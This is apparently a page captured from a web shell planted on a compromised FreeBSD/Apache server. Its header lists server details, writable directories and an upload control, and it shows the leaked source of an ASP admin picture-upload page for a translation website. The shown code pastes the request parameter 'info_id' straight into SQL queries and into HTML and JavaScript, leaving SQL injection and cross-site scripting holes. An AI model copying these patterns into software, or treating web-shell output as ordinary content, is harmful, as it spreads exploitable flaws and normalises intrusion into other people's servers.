KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/chinatranslationsweb/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/chinatranslationsweb/admin/add_pic_t.asp
<!--#include file="../func.asp"-->
<html>
<head>
<title>Information Setup - Add Pic</title>
<meta http-equiv="Content-Type" content="text/html; charset=big5">
<SCRIPT ID=clientEventHandlersJS LANGUAGE=javascript>
<!--
function form1_onsubmit() {

	if (form1.FileName.value=="" || form1.FileName.value==null ) {
		alert("Please select upload file !");
		return false;
	}
	return true ;

}
//-->
</SCRIPT>
</head>
<%
set conn = APPLICATION("ACN")

%>
<body bgcolor="#FFFFFF">

<%
Set rs0 = server.CreateObject("adodb.recordset")
sSQL = "select * from list_info_t where info_id ="&request("info_id")
rs0.Open sSQL,conn
if not rs0.EOF then 

%>

<form name=form1 Method="Post" Enctype="multipart/form-data" Action="Upadd_pic_t.asp" LANGUAGE=javascript onsubmit="return form1_onsubmit()">
  <table width="80%" border="1" cellspacing="0" cellpadding="0" align="center">
    <tr>
      <td>
        <table width="100%" border="0" cellpadding="1" cellspacing="1">
			<tr> 
            <td colspan="2" bgcolor="eeeeff" height="25"><font size="2"><b>Add Pic<font color="#FF9900">ChineseTraditional</font></b></font></td>
          </tr>
          <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          <tr> 
            <td width="19%" height="25" bgcolor="F4F8F6" ><font size="2">ModuleName</font></td>
            <td width="81%"> 
				 <select name="module_id" size=1  disabled>
		  <%
			Set rs = server.CreateObject("adodb.recordset")
			sSQL = "select * from list_module_t "
			rs.Open sSQL,conn
			if not (rs.BOF and rs.EOF) then 
				do while not rs.eof
					response.write " <option "	
					if cint(rs0("module_id")) = cint(rs("module_id")) then Response.Write " selected"	
					response.write " value='"&rs("module_id")&"'>"& rs("module_name")&" </option>"
					rs.MoveNext
				loop
			end if 
			rs.close
			%> 
			</select>
              
            </td>
          </tr>
          <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          <tr> 
            <td width="19%" height="25" bgcolor="F4F8F6" ><font size="2">Info Title</font></td>
            <td width="81%">
            <input type="text" name="info_title" size=60 value="<%=rs0("info_title")%>"   readonly disabled>
            </td>
          </tr>
          <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          <tr> 
            <td width="19%" height="25" bgcolor="F4F8F6" ><font size="2">Sort ID</font></td>
            <td width="81%"> 
              <input type="text" name="sort_id" value="<%=rs0("sort_id")%>" readonly disabled>
            </td>
          </tr>
          <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          
          <tr> 
            <td width="19%" height="25" bgcolor="F4F8F6" ><font size="2">Pic </font></td>
            <td width="81%">
            <% 
				sSQL = "select * from list_infopic_t where info_id = "&rs0("info_id")
				rs.Open sSQL,conn
				if not (rs.BOF and rs.EOF) then 
					Response.Write "<table width=75% border=0> "
					do while not rs.eof
						Response.Write "  <tr>"
						response.write "<td> <a href ='../Images/"&rs("pic_name")&"' target=_blank><font size=2 >"&rs("pic_name")&"</font></a> </td>"	
						rs.MoveNext
					loop
					Response.Write "</table>"
				else				
					Response.Write "<font size=2  color=0000FF>NO</font>"	
				end if 
				rs.close
            %>
          </tr>
          <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
           <tr> 
            <td width="19%" height="25" bgcolor="F4F8F6" ><font size="2">Upload Pic</font></td>
           <td><input type="file" name="FileName" size=60>
			</td>
          </tr>
          
          <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          
          
          <tr> 
            <td width="19%" height="25" bgcolor="F4F8F6" ><font size="2">Pic Properity</font></td>
            <td width="81%"> 
              <font size="2">Width</font><input type="text" name="pic_width" value="0" size=3>
              <font size="2">Height</font><input type="text" name="pic_height" value="0" size=3 >
            </td>
          </tr>
          <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          <tr> 
            <td width="19%" height="25" bgcolor="F4F8F6" ><font size="2">Pic Note</font></td>
            <td width="81%"> 
              <input type="text" name="pic_note" value="" size=60 >
            </td>
          </tr>
          <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          <tr> 
            <td colspan="2" height="25" > 
              <div align="center"> 
                <input type="submit" name="Submit" value="Save">
                <input type="button" name="Button" value="Cancel" language=javascript 
			onClick="window.location.href ='info_edit_t.asp?info_id=<%=request("info_id")%>'">
			<INPUT type="hidden"  name=info_id value="<%=request("info_id")%>">
              </div>
            </td>
          </tr>
        </table>
      </td>
    </tr>
  </table>
</form>

<%
end if 
rs0.Close 
%>
<div align=center>
<!--#include file="menu.asp" -->
</div>
</body>
</html>

Anon7 - 2021